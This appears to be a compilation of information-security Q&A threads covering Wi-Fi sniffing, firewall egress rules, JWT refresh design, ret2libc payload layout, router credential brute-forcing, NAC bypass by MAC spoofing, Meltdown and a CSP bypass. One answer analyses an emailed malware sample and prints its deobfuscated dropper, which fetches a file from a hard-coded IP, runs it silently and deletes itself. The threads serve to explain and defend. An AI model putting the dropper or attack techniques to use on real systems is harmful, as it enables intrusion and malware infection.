Bottom line is, if you are running someone else's operating system controls, they have access.


Sensitive data in public wifi networks with https Everybody knows that we should not enter our bank data, credit cards numbers being connected to the public wifi network.

Let's imagine that somebody goes to his bank's web site being in public network. Yes, his traffic can be captured but using https it's encrypted by banks public certificate. So none exept bank can decrypt this personal data.

All of this is in case when user is really sure that it's a public hotspot of the airport, not some hacker's one.

I'm wondering it it really so or it's not so easy?

This depends on the website and wether it enforces https with the right TLS version and correctly so (And has been visited before or is in the users HSTS preload list).

If not, a man in the middle could use a so called “downgrade attack” and not only read the traffic but manipulate it.

The thing with unencrypted public WiFi is, that a man in the middle position becomes feasible for everyone in close proximity, even relatively easily.

With such a position, many attacks that otherwise wouldn’t be possible become viable.


What is airodump-ng able to detect? Recently I bought a raspberry pi and some wifi adapters with monitoring mode. I installed airodump-ng to detect wifi devices in the vicinity and this seemed to be working well. Over the course of a few days I was able to collect 150 distinct mac addresses, not only from within my own home but also from the neighbours (assuming this from their wlan ssids).

I had a visitor for a couple of hours whose wifi on his smartphone was on but not connected to my own wifi network and he didn't show up on airodump-ng? I tested by disconnecting my wifi connection on my phone and I still showed on airodump; this is obviously also the case with my neighbours who have their wifi on but are not connected to my network. Now my question is: why do my neighbours show up and my visitor does not show up? What kind of devices will airodump see and which ones will it not detect?

My guess is that your visitor is owning a Windows Phone.

A windows phone does not announce what SSID networks it is looking for, but instead, it will wait for an access-point to announce its presence before connecting to it. This can be the reason why you never saw your visitors phone - it had no need to waste power or privacy on looking for a network it knew it was not there. [Where've you been?]

The cost of this feature, is that it is not possible to connect to a hidden-network (no ssid) unless you configure it to activley send wifi probe requests. Remember, a hidden access-point does not broadcast the SSID, and the phone does not know it should connect to it.
[Non-broadcast Wireless Networks with Microsoft Windows]

Apple phones on the other hand, has solved this privacy problem by randomizing the source mac address for Probe Requests. You can no longer passively identify a iPhone by its mac address alone - but you should be able to use the list broadcasted SSID's to create an identity.
See for more details:
[iOS 8 MAC address randomization]

I suspect the motivation for Apple was different for adding this privacy feature. Being able to identify customers through wifi probes would be in competition with the iBeacon - but thats my conspiracy theory.

I am still waiting for Android to make a similar move. It should not be that easy to uniquely identify a phone, its current whereabouts and past whereabouts with consumer grade electronics. Remember Wifi Enabled Smart Bins


How should an outgoing connection white-list be created? I see my previous question was closed as duplicate of Why block outgoing network traffic with a firewall?. The answers that everyone agree with mention the value of blocking outgoing connections (to limit the call-home-and-get-additional-instructions ability of bad-ware), but not so much the effectiveness of using a port white-list that includes HTTP and HTTPS. This new question requests additional attention in that area..

Obviously incoming connections must be blocked. (except to a white-list of address+port combinations - for example in case you are running a webserver on your network)

Requirements: Assuming that it is mandatory to allow web browsing (keep HTTPS and HTTP and DNS as open)... Is this below analysis correct? (Remember, all of these below are except for the white-list of IP addresses, which is useful for blocking DNS and SMTP, but not acceptable for blocking HTTP and HTTPS)

Restricting SMTP would have significant real value.
Restricting DNS would have a little real value.
Having some white list of ports and blocking all the others has some real value so the bot-writers who just 'make up' a port will have no success.
Opening additional ports is not a security risk on a one at a time level. If you have already opened HTTP/HTTPS, then you are not going to gain a measurable advantage by limiting out things like NTP, FTP, WHOIS.
Requiring a Proxy before using HTTP/HTTPS would be the only real way (given the above requirements) to have significant real value, particularly if you configured the Proxy on the browser level (the second or third place a bot would look for a proxy config), instead of the computer-wide level (the first place a bot will look for a proxy config). (you may need to add a white-list of addresses for your Windows automatic updates so that a proxy is not required for those)

Are there inaccuracies in this analysis? Should there be more to this analysis?

In my opinion this is a pretty well rounded analysis but there are a couple points that could use improving.

Basic bidirectional firewalling is a good start but unless you have the ability to get into the actual application level traffic - be that with a HTTP proxy application level firewall or what have you - there is still a major hole in your security.

A lot of firewalls today - even those that advertise application level analysis - don't do application level filtering for all protocols. Picking a common port number for a malicious cause is a pretty easy way to get around a tightened down firewall. Whenever you can it is always best to whitelist your definitions, even for the semi common protocols.

As an example I've previously experimented with a TCP service bound to port 123 on an outside host I was experimenting with. I was surprised that I was able to get to it from a protected internal network without any additional firewall rules. Turns out the the NTP definition included both UDP and TCP ports and was allowed out to anywhere.

About the only protocols I don't do that with are HTTP, HTTPS, FTP, and SMTP. Each of those has some kind of application level filter available configured for my my clients.

EDIT:

All this changing terminology is making me feel old.. Looks like the suggested terminology for the device I'm thinking of is a UTM (Unified Threat Management) gateway.


Is opening all ports on a router safe if it is simply redirection to a VPN server at 192.168.1.2:51820? The motive for doing this is that I want to open other ports so that I can evade firewalls which block VPN connections. Instead of redirecting eg. port 53 or 123, I could simply set up a destination NAT rule (my router allows 'easy' port forwarding or you can set it up manually with a destination NAT rule. using the DNAT method gives you more flexibility like specifying IP addresses) which doesn't specify a source port, effectively redirecting all traffic going to my router on every port to the WireGuard server.
The benefit is that I have the best chance of being able to connect to my VPN server (I won't be talking about DPI or TCP/UDP converters since that's another topic)
My understanding is that the security relies on the daemon that is running (or will be running). So I'm fine in this regard since its all being redirected to WireGuard. But I've never seen this recommended at all. I've been doing it for a while and I do get a lot of connections from random IP addresses. I'm not sure if that could allow attackers to DOS my home network more easily, cause they have more ports to send data through at the same time.

Open ports in themselves do not pose a greater risk than closed ports. In order to exploit a security gap, the service behind the port must always be vulnerable. Conversely, this means that if your VPN service is always kept up to date and it does not pose a security risk, the open ports will not do it as long as there is no vulnerable service running
DoS/DDoS is not necessarily a problem of ports; closed ports can also be attack vectors for it. Since packets destined for your host still have to be validated by the Kernel/Network Stack and therefore your machine has to process these requests.
Measures against this could, for example, be a firewall that drops packets before they even reach your machine


Thoughts on my JWT implementation So I've been trying to learn as much as I can about JWT tokenisation, and auth0 seems to be the defacto JWT information hub.

However, the more I read about refresh tokens, the more I cringe - the very idea of an "infinitely" refreshable (or at least a very long expiry) doesn't sit with me.

So here is what I've decided to implement.

The architecture of the system:
1. API (pure API layer, also the auth server at the moment) - creates the tokens and validates them
2. App layer (flask handling requests).

When a user tries to enter the app - they are sent to the login page. They enter their details, and these are sent to the /authorize endpoint on the API.

These details are validated and a token created with a claim containing:
"iat" issued at
"exp" expiry 30 mins
"oct" original created time

As far as the auth server and API are concerned, this token will expire in 30 minutes.

Now on the App Layer, each request checks the token and sees whether there is less than 5 minutes left before expiry.

If it finds there is it creates its own JWT (signed with the same secret as the API knows). It uses the original JWT (about to expire) as a payload object, then sends it to an endpoint on the auth /refresh_token

The /refresh_token endpoint then validates the token, extracts the original token from the payload, validates that and if it's a valid token (hasn't yet expired). It then checks the original created time, and makes sure a max timeout (set by the customer of our App) hasn't been reached - this is a system hard limit of 12hrs (but our customers can opt for shorter total sessions). If those checks are OK, it creates a NEW token and sends it back to the App Layer.

In this way, my thinking is:

The Auth server can always trust this refresh request, because it must receive a trusted JWT that contains the JWT originally created by the Auth server. This means, it could only have been created by the App Layer (or any server that has the secret).
The Auth server doesn't infinitely hand out refresh tokens.
If the secret is compromised - you're up the proverbial anyway, and until you know it's been compromised, there isn't much you can do - of course we have IP checkers to ensure requests for JWTs come from trusted sources, but still - IP spoofing isn't difficult if the attacker knew what they were doing.
The App Layer, has the ability to stop sending refreshes by killing the user session - hence a compromised JWT would only be "dangerous" for up to 30 minutes.

A lot of people get very worked up about security, and rightly so - but would you say this approach provides adequate checks and balances?

If not, I would love to hear ideas, improvements in process etc. Security is definitely not my strong suit, so all help will be greatly appreciated!

Cheers.

Some thoughts, not meant to be critical per se, just providing feedback:

No reason to have the app make its own JWTs. Just pass the client-delivered JWT along.
This may not be what was meant but it is not a good idea to have some unavoidable delay in revocation. Should some compromise be detected around a specific JWT it needs to result in immediate declination, not just in the JWT being made nonrenewable.
There is no benefit to picking some arbitrary window within an expiration period to do some special renewal behavior, vs just having a shorter expiration period. It's confusing and the ergonomics are no more helpful for users. The relevant policy decisions are around whether activity automatically lengthens the session (which would be enforced on every request, not just with 5 minutes left), and what happens on receipt of an expired token.
Relatedly, machinery to "renew with less than 5 minutes remaining up to a limit of 12 hours" is no different from having a refresh token that has some lifespan and is checked on expiration of a authorization token. Then think about whether lifespans of 12 hours are really much different than lifespans of 24 or 48 or some other arbitrary number.
Think about multi device access- multiple refresh + JWTs, or the same? and concurrent access from a single device. Think about other potential mechanisms for locking down utilization of a token, like binding the token to a specific IP or user agent.
Think about whether multiple apps will ultimately be involved in this system.

Hope that's helpful.


Reverse engineering of hash functions I have an unknown process that gets some vars and returns an 8byte hash.
I'm sure which vars it gets and I'm sure these are all the variable parts of the input.
I can query this process when and how I want then I have many and many cases of input and output couples.

My question is, is it mathematically  possible to find the hashing function?

You can try various hash algorithms with various inputs and hope to get lucky. There aren't all that many commonly used hash functions. Being the hash is only 64 bits, it's probably only a portion of the full hash. When you shorten a hash, you typically just grab the first or last N bits, though some dev may have gotten creative and grabbed only the odd bits or something.

That said, I suspect that you will not find a match. Smartcards generally have a secret that is embedded in them that cannot be extracted (excluding techniques used on poorly designed/manufactured chips that involve acid baths and x-rays and such). This secret is then used in cryptographic operations (eg: HMAC or digital signature) which are performed on the card. Being that the secret is only known to the card (in the case of asymmetric crypto) or the card and card issuer (in the case of symmetric crypto), an attacker cannot reproduce the cryptographic operation. So, while you are sure you know what the input is to the card, it is likely that the input to the crypto operation is a combination of those inputs and the unobtainable secret that is built into the chip.


Penetration Testing vs Secure Source Code Review Recently I came across to a situation where an institution has hired a third party vendor to develop its business applications. I came up with the following questions related to penetration testing and independent third party secure source code review:

How exercise of independent third party secure source code review is
different from penetration testing?
What are limitations of independent third party secure source code
review and penetration testing and do they cover each other where
they are limited?
What areas independent third party secure source code review covers
which penetration testing doesn't and vice versa?

How exercise of independent third party secure source code review is
  different from penetration testing?

The secure code review is a white-box methodology where the code reviewer will be using automated tools and/or manual approach to identify security issues in the the given source code whereas, penetration testing is mostly a black-box methodology where the organisation will only provide only the IP address or name/URL of the application under test. In the penetration test the security analyst usually starts with information gathering and will then identify the vulnerabilities in the system. Later, the analyst will attack the system under test and will try to penetrate deeper and deeper so as to identify more security issues and to evaluate the impact of the identified vulnerabilities.

  What are limitations of independent third party secure source code
  review and penetration testing and do they cover each other where they
  are limited?

It purely depends on the type of engagement with your vendor. Mostly, they don't cover each other. I personally recommend both penetration test and secure code review on the application. Secure code review is more of a static approach. Although, modern secure code review tools offers dynamic capabilities such as taint analysis where the data in motion is also analysed but again my personal experience says that secure code review can never accomplish the results of penetration test and vice versa.

  What areas independent third party secure source code review covers
  which penetration testing doesn't and vice versa?

As already stated, both of the approach can be used to achieve better results. I hope I can explain it better using an example. For an instance, server-side secure code review will include the password management checks. In the scenario where a weak hashing algorithm such as MD5 is used to hash the user's password. This security issue will be identified in secure code review where the issue may not be identified in a penetration test if the server/code access is not attained.


How do you prevent IP address leakage on a Mac while using VPN? I would like to prevent my real IP address from leaking to websites that I visit using Safari on OS X.

Do i need to configure my firewall? How ? What if my VPN connection accidentally drops? Is there anything else to worry about that could leak my real IP?

Your IP can leak in a number of ways, but commonly through DNS or WebRTC. The first step would be to identify a leak using websites like DoILeak or DNS leak test. Then take it from there - make sure you're using the correct DNS servers, disable WebRTC (though AFAIK Safari isn't vulnerable), and so on.

A very quick Google search came up with some good results, for example this guide to IP leaks.


Is it possible to inject values in a drop down list? Say a ASP.NET page, or any html page for that matter, has a drop down list with a bunch of prices.  On posting the page, the code looks at the selection of the drop down list for a computation.  Is it possible for someone to alter the values and post the page without the server knowing the page has been tampered with?

Update

I have been told ASP.NET does offer some protection from this with Page.EnableEventValidation Property.  With this enabled (enabled by default), trying to change the value of an ASP control will result in an error:

  Invalid postback or callback argument.  Event validation is  enabled using  in  configuration or <%@ Page EnableEventValidation="true" %> in a  page.  For security purposes, this feature verifies that arguments to  postback or callback events originate from the server control that  originally rendered them.  If the data is valid and expected, use the  ClientScriptManager.RegisterForEventValidation method in order to  register the postback or callback data for validation.

Dropdown lists are an HTML/UI construct.   There isn't any such concept in HTTP, which is how the client and the server ultimately talk to one another.

So, while yes, a client could alter the page, that isn't absolutely required, because there doesn't actually need to be a page.   In the end a client simply sends an HTTP request back to the server and it contains some data, and that data could be the values entered into the HTML form, or it could be arbitrary values chosen at the user's whim.

The bottom line is, you can't trust input.  Anything sent by the client should be suspect, there's no guarantee that it's what you expect, and it must be validated on the server before acceptance.


Is there any need for PBKDF2 with AES when using a uniform key space? I'm looking at some code that encrypts data in a database using AES. Before doing so, the encryption key is passed through a PBKDF2 function. Reading up on this, it appears this is for when the key space can be guessed, i.e. like someone's password that might use words out of an English dictionary. The encryption key however is purely random, something like:

M39UrEEveje3J#PB=jPG9+&eUSTJG*SAK&s_xHLRu$?Hrbg&7Vn5X^P298$W2z2#r6_!yfGQMQ@ArXjgefq-?9^b?y786ZL5cYcqE6#!c4@rE$scZxR$$e6cYPX$U-m7

In a predictable key space, you want there to be an increased workload for brute-forcing the encryption. Thus, hashing the password through so many rounds of PBKDF2. If the key space is completely uniform and non-predictable though, isn't this just a waste of CPU cycles? Is it good practice to do anyways?

If you have a 128 bit secret random value (or 192 or 256 bits for AES-192 or AES-256), then yes, you can use that as an AES key without running it through a key derivation function.

However, the example you provided does not contain random bytes, it contains (presumably) random characters from a certain character space with at least 56 characters and probably not more than 100. A truly random byte will have one of 256 values with equal probability, whereas a byte in this secret has one of 56-100(ish) values with (hopefully) equal probability.

It is also not 128, 192, or 256 bits. It is actually 128 bytes, which suggests to me that someone may have misunderstood what key size they needed, and generated it incorrectly.

If you try using the secret directly as a key, likely one of three things will happen:

The software already does its own key derivation (not necessarily a slow key derivation like PBKDF2, but some sort of key derivation). Since the key (hopefully) contains significantly more than 128 bits of entropy this is fine.
The software will warn you that the key isn't the correct length and fail.
The software will truncate your key to the correct length and use it. This can be very bad in some cases, but sadly it does happen.


routersploit bruteforce cred attcack using http while i'm trying to do a brutforce attack on my router using routersploit.
Im getting the error
rsf (HTTP Basic/Digest Bruteforce) > run
[*] Running module creds/generic/http_basic_digest_bruteforce...
[-] Resource / is not protected by Basic/Digest Auth

i'm able to understand that the path may be the problem here.
rsf (HTTP Basic/Digest Bruteforce) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   ssl        false                SSL enabled: true/false
   target     192.168.1.1          Target IPv4, IPv6 address or file with ip:port (file://)
   port       80                   Target HTTP port

Module options:

   Name                Current settings                                                                          Description
   ----                ----------------                                                                          -----------
   verbosity           true                                                                                Display authentication attempts
   threads             8                                                                                Number of threads
   usernames           admin                                                                                Username or file with usernames (file://)
   passwords           file:///mnt/c/Users/*****/routersploit/routersploit/resources/wordlists/passwords.txt     Password or file with passwords (file://)
   path                /
         URL Path
   stop_on_success     true
         Stop on first valid authentication attempt

the thing i don't understand is, what is this path and how it is used.
if my assumption is incorrect, please help.

The path is the URI path that accepts credentials. While "/" may work in some cases, you may have to look at the requests your browser sends during login to determine the path (e.g. maybe something like "/cgi-bin/login").


Securely stored secondary password I'm currently writing a portal site for Microsoft Dynamic CRM, the portal works like this:

Each user has his own account to login to my portal.
Each user is assigned a seperate CRM credential by admin. Currently, both username and password for CRM site are stored as plaintext (password for the portal itself is properly hashed, salted,... using AspNet Identity Core).
After logging into my portal, users will be authenticated with CRM site in the background and can start view, add, edit and delete records on CRM site.
Users can change their own portal password, but CRM credentials are fixed and can only be changed by admin.

Obviously I wouldn't want to store CRM credential in plaintext, but I cannot find any working solution for my problem.
I've considered the following choices:

Hash CRM password and store the hash. This does not work because I need the original password to authenticate with CRM site.
Derived a key from user password and encrypt CRM password, then store the encrypted password (password manager style). Does not work because
admin won't be able to change CRM password.
Same as 2, but use admin password to derive the encryption key. This also does not work because then I can no longer authenticate users with CRM site.

Passwords are user facing data. If you have a "password" that is neither set nor used by a user, it's called a "key" or a "secret" (exact terminology varies by use). So you need to research key storage, not password storage.

There are two parts to securing a key:

Choose a cryptographically secure random key. Something like 128 bits from a CSPRNG will do nicely. You can base64 encode the key if you want to store it as text.
Encrypt, not hash, the key when it is not needed. Use something like AES 256 for encryption. This leads to a bit of a circular problem as you need to store that credential securely. The best place for that is in an HSM. If that's not possible, storing it somewhere will have to do. Just don't put it in the same database as the keys in case an attacker gets DB access.


Understanding ret2libc return address location I recently was studying x86 buffer overflows + ret2libc attacks from https://www.ret2rop.com/2018/08/return-to-libc.html and I noticed the order is as follows:
bytes to fill buffer + address of system + return address for system/address of exit + address of "/bin/sh"
I am confused to as to why the return address (the PC/EIP returns to after calling and executing system's code) passed to system is located before the address of /bin/sh on the stack.
From what I've read the return address should be directly after /bin/sh/ the argument to system but every example I've seen follows this overflow order when using ret2libc attacks. Is there something I'm missing in how procedures/functions return/where they return?
Why is the return address before /bin/sh and not after it inside the buffer-overflow payload?

This is because on x86, stacks grow downwards (towards lower addresses), but buffers are filled upwards (towards higher addresses):
When writing out of the buffer, you are clobbering the return address of the stack frame above, at a higher address.
The ret instruction will then pop the return address off the stack and continue execution at the beginning of system. Then, system will pop its arguments off the stack, and upon returning, pop the address of the next function off the stack, i.e. the stack shrinks as you go through the chain, and the stack pointer grows larger.
The reason that the address of /bin/sh can be written on the stack lies in the calling convention used by gcc on x86_32 linux, which is very close to the System V calling convention (see Figure 3-15). In contrast, on x86_64, the first arguments are passed in registers (rdi, rsi, rcx), so you would need a pop rdi; ret gadget before you can return to system.
To understand the order of the values written to the stack, let's look at a single stack frame:
         high addresses

       +----------------+
       |                |
       | arguments      |
       |                |
       +----------------+
esp -> | return address |
       +----------------+
       |                |
       | locals         |
       |                |
       +----------------+

         low addresses

Putting this together to a payload, we get:
         high addresses

       +----------------+                -+
       | arg0           |                 |
       +----------------+                 | stack frame of system
       | return address | exit            |
       +----------------+                -+
esp -> | return address | system          |
       +----------------+                 |
       |                |  ^              | stack frame of victim
       | buffer         |  | overflow     |
       |                |  +              |
       + . . . . . . . .+                 :

         low addresses

The buffer being overflown is a local buffer in the victim function, and its return address gets overwritten. The ret instruction will pop the return address off the stack into eip, so execution will continue in system.
At this point, the stack looks like this, with space below esp usable by system for its locals (actually, the diagram is not quite correct, as system pushes locals, the stack pointer will of course decrease):
         high addresses

       +----------------+                -+
       | arg0           |                 |
       +----------------+                 | stack frame of system
esp -> | return address | exit            |
       +----------------+                 |
       |                |                 |
       | locals         |                 |
       |                |                 |
       + . . . . . . . .+                 :

         low addresses

To access the argument, system will use the [reg+displacement] addressing mode, to access [esp+4]. At the end of its execution, it will call ret, which will continue execution in exit.


Encryption mechanism I want to send data over the Internet securely. For that, I am using an public key of the receiver to encrypt the data. In this case, if an intruder in the network modifies the data, like placing the bits by rotating, can I decrypt the data successfully?

And also I am sending data over the network all the time. If the intruder modifies the data as I mentioned in above method, then how can I send securely?

Also, is this case applicable to all symmetric encryption?

Speaking about encryption in general, not limiting it to RSA, if a man-in-the-middle modifies an encrypted message, the message will not decrypt as the same message you sent. It really depends on the encryption algorithm used. For example, if a block cipher was used, only the block with the altered data will fail to decrypt properly, the rest of the blocks would decrypt fine, though there is no way to tell which was altered. Other types of encryption would just fail to decrypt a message if a byte was altered.

That said, the primary purpose of encryption is to provide confidentiality, as in it's used to ensure the conversation between you and the other party cannot be intercepted and read by anyone else. What you seem to be asking for is a way to ensure the data you sent was unmodified in transit. Encryption can help with that, from simple basic hashing, to utilizing DSA (digital signature algorithm). If you take a hash of your message, place the hash at the end of your message, and encrypt the whole thing, when the receiver gets the message and decrypts it, they can rehash the message and verify it against the provided hash. If they are the same, they can say with near certainty that the message wasn't altered in transit.

Side note - RSA is slow, and usually reserved for tiny-message uses, such as exchanging a symmetric key, or "signing" a hash of a message. It's not normally used to encrypt large messages.


Storing Session Id in application logs Short version: Is it not recommended to store sessionId in log files/database in plaintext (considering it may put active sessions at risk)? If yes, why do I see many queries on how to log sessionId?
Details:
I have come across multiple resources related to security engineering which discuss why we should not log the sessionId in to application log files or store it in DB in plaintext format. For example, this is one of them - https://www.stigviewer.com/stig/application_security_and_development/2017-12-18/finding/V-69363. It recommends some kind of use of some hashed values to identify unique sessions.
However, while I was working with Spring Security library (one of the most prominent one in Java platform), I could find the session Id in plaintext was available in the logs in DEBUG mode. This value was the exact JSESSIONID that I received in Set-Cookie header of the response.
In addition, I could also find several queries and resolutions related to logging the session Id in apache, logging frameworks etc. in the internet.
Looking at these, I am now confused if it really not a good practice to log the session Id. Could somebody please provide some more clarity.

You are right, it is not recommended to log sensitive information (passwords, session IDs, credit cards, etc) as log files may be handled less securely than storage that is specifically designed for this information.
But it is also not recommended to run debug mode in production, as it may introduce security issues. Spring Security for example documents this:

This may include sensitive information, such as request parameters or headers, and should only be used in a development environment.


What should I be aware of when opening my home server to the internet? I've built a home server (pretty much just a basic PC with a couple of big HDDs) which I would like to use as an FTP server and a minecraft server. Both would be for members of my gaming community. I would also like to access my home server's terminal while not at home (SSH).

I'm currently unsure of how I'd give out access to the FTP server, but I'd like it to be available to whoever in the community wants access, so it could potentially be somebody hostile, but it wouldn't be random attack-bots. Chances are I'll either send them the login details of a shared 'guest' account or I'd give individual members separate accounts.

I don't plan to host any important or personal data on the server, but I'd like to secure it as much as possible without making it a pain for people to use. It is connected as a node in my home network, and has nothing special about it (other than currently being port forwarded in router for minecraft server).

It is running Ubuntu server 15.10, and is connected to the Sky Hub router via a 5-port unmanaged switch (which my personal desktop PC is also connected to). It has a static internal IP.

Is what I'm planning a terrible idea, and how would I mitigate against potential attacks?

First things first, assume that your server will be under attack as soon as you put it online.  Operate under that assumption and you'll avoid a lot of mistakes that people normally make.

I would start off by putting your server in a DMZ so that in the event that it does get compromised, the attack surface is limited in terms of what it can get to.  If this is not possible, it's not the end of the world but it does help keep things separated.

Next, and probably more importantly, absolutely nothing that does not need to be running should be running.  Turn off all unnecessary features (do you really need a GUI environment?) and block any ports that are not specifically required to function.  I like iptables myself, but the important thing is that something is used.

There are some tools you can use to detect malicious activity, such as scanning, brute-forcing, exploits attempts, etc.  I won't go over each in detail, but here are a few I have used over the years:

tripwire is somewhat outdated but not terribly so
ossec serves a similar role, but is more reactive
snort is very popular, has a lot of rules

More important than any specific tool is that you configure and use it correctly.  Make sure you understand what all the tool covers, what it doesn't, and what happens when it fails.

You can definitely run a home server, and it can be a good learning experience to do so, but you'll want to make sure your system is updated and kept under watch.  Don't neglect to check in on it occasionally just because it seems to be running fine.


Securing APIs used by remote devices We have desktop software that we install and run on remote, unattended machines. The software needs to hit API endpoints on our server. What is the best way to secure those endpoints to ensure that only our software can call them? We may or may not have admin rights to that machine. Others (staff or 3rd party  individuals) may have access to that machine at an admin level.

Short answer: you cannot.
Long answer: You want DRM and DRM may or may not work, depending on the adversary.
If a third party have access to the computer where your software is installed, they can disassemble/decompile your software and learn how it works. They can install an intercepting proxy on the computer and analyse all network traffic.
Online game companies have an entire team working on this problem, and there are always someone writing code to cheat on online games.
You can obfuscate your code, write a highly convoluted protocol, employ anti-debugging techniques, all to make more difficult to someone to analyse your software, but you have no way to ensure that only your software can access the API.
And the bad thing about DRM is that as soon as one user broke it, it's broken for everyone because it only takes that user to share a bypass online and everyone else can do the same bypass.


Rest API Security Guideline. Developer Rules? In my current project I am also setting up the area of security testing. So far there was no way to use security within the REST API development. Beside the known approach, e.g. using static software solutions within a staging environment, the topic Rest API Security Guideline came up.

Of course, there are always articles and blogs that deal with this topic, but often at least in my opinion do not cover all aspects.

Beside the known hints to the REST API design and the Security
https://restfulapi.net/security-essentials/

As well as best practice, I really miss concrete approaches to development. What do I have to pay attention to on the development side in order to be able to better plan the quality of the API, especially with regard to security aspects.

Depending on your approach to delivering software, I believe the implementation of this can take different forms. I appreciate your question was looking for something concrete, and perhaps this is a little more opinionated but I have seen this done in a number of different ways on several projects. Here is some first off's for getting started:

First off, follow @A. Herseans suggestion and head to OWASP
cheatsheets.

Second do some Threat Profiling. Similar to user profiles (persona's) (your UX person will know about this) do some misuser profiles. Understand where the threat is likely to come from, i.e are you more likely to have a Nation State black ops hit you with a sophisticated attack, or is it more likely that Jo from accounts has just lost their job and is trying to download a load of personal user data to hurt the company on their way out the door? It matters so you know what level of technical ability you're likely to need to protect against.

Next, I always think Threat Modelling is useful to consider the types of attacks you're likely to face when given the context of your system. Head back to OWASP and check out the Threat Modelling Cheatsheet, or try Jim Gumbley & Fraser Scott's presentation on the subject, slides 15 to 20 can really point you in the right direction of thinking.

Last suggestion, but definitely not completing the list is to have regular conversations with your BA's. Get involved with stories before the development is started and consider the threats that could creep in early. Make sure dev's are aware of the threats when they pick up a story and make sure they're building it in from the start.

A good read that really considers all of the bit's outside of automated software testing is Agile Application Security. I'd definitely suggest checking it out.


How do you change the password of an IoT device like a DVR box? The above picture is Brian Krebs responding with advice about protecting yourself from the IoT hacks.  It's common advice given for protecting IoT devices from attacks like the Mirai botnet.

My question is, what does it mean? Supposedly the biggest category of devices compromised were webcams and DVR boxes. What does it mean to "change the password" of a DVR box? A webcam? Or any other IoT device (a coffee-maker password?) If I have a device that uses UPnP, where is its "password"? Those devices just plug in, and work. Never seen a coffee pot ask for credentials before.

What does it mean by credentials

A lot of devices like this will have a main interface and a web interface, which you normally use to update the device or check status. This usually has a login, which uses the creds described above. Examples of devices like this I have seen left using default credentials:

Cameras
Printers
Routers / APs / Switches

The problem is that if someone can get to the admin interface they can configure the device to do whatever they like, or install backdoors, hence the advice to completely reset the device and start from a clean slate.

Part of the appeal of these devices is that they can be used in a plug and play way, you just connect to the WiFi and they work, the problem with this is that it is very easy to not change the default password.


NAC bypass with MAC spoofing I just started my job as a penetration tester.
Me and my mentor got to the client's office and our first order of business was to bypass the NAC system.

Searching for a printer or other similar devices was our first priority, so eventually, the network guy just gave us the MAC address of the printer to save us some time and we started spoofing our MAC using the printer's whitelisted MAC address.

Once I spoofed the MAC, it was not possible to ping us from other devices because we didn't have an IP address so the guy also gave us the IP address that was set for the printer.

The guy was surprised to see that we got a connection since his NAC was supposed to filter the vendor ID but for some reason, the NAC recognized us as a printer.

I have 3 questions (I won't have the ability to come back to the client anymore):

Did we have to input a specific IP address once we spoofed the MAC address or any IP address would've done the job?
If I had to spoof my vendor ID in order to get access, what is the most recommended procedure for doing that? (if possible)
What if the printer didn't have any built-in interface to check it's MAC address (the one in the client's office did have a screen and a user interface on it), how would I have gotten the MAC address of the printer?

This depends on the switch configuration. It's clear that DHCP was not configured (since you didn't get a lease automatically), but that doesn't mean you couldn't have used a different IP address. Worth testing.
Depending on your vendor, MAC authentication can be pretty limited. In some cases, the vendor looks at the MAC address and compares it to MAC leases owned by specific vendors. Some go further and watch the traffic being generated by the device to ensure that it's only following protocols associated with printing. I'm not trying to avoid the question, but am pointing out that MAC authentication is really weak. A good defensive network will have printers on a separate network or leveraging 802.1x where available.
I cannot think of a corporate printer I've used that didn't have the MAC Address listed within the network settings. This is pretty standard. However, you can also inspect the paneling for a hardware address as some manufacturers can print it on a label.


Is this a Javascript virus? So I got a random email saying this. Looks very automated:

  "How are things?
  I was visting your website on 4/9/2016 and I'm very interested.
  I'm currently looking for work either full time or as a intern to get experience in the field.
  Please review my Resume and let me know what you think.

Then a javascript file attached. I scanned it on VirusTotal finding only 1/55. I have opened the file to look at the text and have copy pasted it into this dump file as it is quite long.

Anyone familiar with javascript can confirm that it is a virus or not?

It most certainly is malware. It uses JavaScript with ActiveX* and VBScript to download and execute a stage two payload that does something else. Although it is written in JavaScript, it is not executed in the browser. Instead, it is executed in the Windows Script Host when it is double-clicked. This is the deobfuscated and abridged version of the function zQlMdib from the file:

// download and execute stage 2 payload
function stage1_payload() {
    // connect to server hosting stage 2 payload and download into memory
    var http_obj = new ActiveXObject("MSXML2.XMLHTTP");
    http_obj['open']("GET", "http://94.102.63.7/macbook_tutorial.mov", false);
    http_obj['send']();

    // evaluates true only if http connection succeeded
    if (http_obj['Status'] == 200) {
        // open activex objects for filesystem and file access
        var fs_obj = new ActiveXObject("Scripting.FileSystemObject");
        var file_obj = new ActiveXObject("ADODB.Stream");

        // create and open temporary file (as binary) in system temporary folder
        var temp_file = fs_obj['GetSpecialFolder'](2) + '\' + fs_obj['GetTempName']();
        file_obj['Open']();
        file_obj['Type'] = 1;

        // save response body containing stage 2 payload to temporary file
        file_obj['Write'](http_obj['ResponseBody']);
        file_obj['Position'] = 0;
        file_obj['SaveToFile'](temp_file);
        file_obj['Close']();

        // execute temporary file using command prompt
        var shell_obj = new ActiveXObject("WScript.Shell");
        shell_obj['run']('cmd.exe /c ' + temp_file, 0);
    }

    // delete currently-executing script (the js file you received)
    var script_name = WScript['ScriptFullName'];
    fs_obj['deleteFile'](script_name);
}

* Even if your browser doesn't support ActiveX, this file executes in the Windows Script Host, which does support it.


How does the side channel actually access the contents of kernel memory in Meltdown? In the Meltdown paper it mentions it can identify kernel memory address being accessed. The part I don't understand is how the FLUSH+RELOAD channel works to identify what the contents of the memory address in the L1 cache lines are. How does it identify the contents?

The part of the document you are interested in is :

  Based on the value of data in this toy example, a different part of the cache is accessed when executing the memory access out of order.  As data is multiplied by 4096, data accesses to probe array are scattered over the array with a distance of 4 kB (assuming an 1 B data type for probe array). Thus, there is an injective mapping from the value of data to a memory page, i.e.  , there are no two different values of data which result in an access to the same page. Consequently, if a cache line of a page is cached, we know the value of data . The spreading over different pages eliminates false positives due to the prefetcher, as the prefetcher cannot access data across page boundaries [14].

Also, 5.1 step 2.

In a nutshell, the value of the data you want to know is determined byte by byte. The unknown value is multiplied by the page size, hence each different possible byte value triggers the loading of a different page.

Then you can measure which page was loaded using the FLUSH+RELOAD method.


Bypass Content Security Policy: Using Form tag This article talks about bypassing CSP using Form tags.

Edit: As suggested, details has to be provided in case the external link stops working.

So here are the details:

There is content-security-policy in place and a vulnerable parameter to XSS:

Content-Security-Policy: default-src ‘none’;

[Reflected XSS vulnerability here]

<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>

<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />

<input type=”submit” value=”Subscribe to newsletter” />

</form>

